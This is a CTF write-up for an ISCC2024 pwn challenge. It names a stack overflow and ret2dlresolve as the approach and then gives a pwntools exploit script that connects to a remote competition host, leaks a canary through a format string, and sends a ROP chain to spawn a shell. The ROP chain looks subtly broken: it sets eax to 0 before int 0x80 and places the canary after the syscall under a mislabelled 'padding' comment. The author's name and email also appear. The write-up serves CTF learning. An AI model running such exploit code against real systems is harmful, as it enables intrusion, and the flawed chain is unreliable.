# ISCC2024 WriteUp

Whooops+李卓航+925798691@qq.com

### Pwn Flag

### 解题思路

1. 栈溢出
2. ret2dlresolve

### Exp

from pwn import \*

# 设置日志级别和架构

context.log\_level = 'debug'

context(arch='i386', os='linux')

context.terminal = ['tmux', 'splitw', '-h']

# 目标程序路径和远程连接

target\_binary = './2'

p = remote('182.92.237.102', 10012)

# 发送payload获取canary和buffer地址

p.sendlineafter("what's the content?", "%19$p%6$p./flag\x00\x00")

p.recvuntil("0x")

canary = int(p.recv(8), 16)

p.recvuntil("0x")

buf = int(p.recv(7), 16)

print(hex(canary))

print(hex(buf))

# 构造ROP链

rop = ROP(target\_binary)

rop.raw(rop.find\_gadget(['pop eax', 'ret']))

rop.raw(0x0) # Set eax to 0

rop.raw(rop.find\_gadget(['pop ebx', 'ret']))

rop.raw(buf) # Set ebx to buffer address

rop.raw(rop.find\_gadget(['pop ecx', 'ret']))

rop.raw(0x0) # Set ecx to 0

rop.raw(rop.find\_gadget(['pop edx', 'ret']))

rop.raw(0x0) # Set edx to 0

rop.raw(rop.find\_gadget(['int 0x80'])) # syscall

rop.raw(canary) # Add padding to adjust for canary overwrite

# 获取dlresolve payload

elf = ELF(target\_binary)

dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.read(0, dlresolve.data\_addr)

rop.ret2dlresolve(dlresolve)

raw\_rop = rop.chain()

# 发送payload

payload = b'a' \* (0x94 - 0xc) + p32(canary) + b'a' \* 12 + raw\_rop

payload = payload.ljust(256) + dlresolve.payload

pause() # 暂停程序执行，方便调试

p.sendlineafter("Input:", payload)

# 进入交互模式

p.interactive()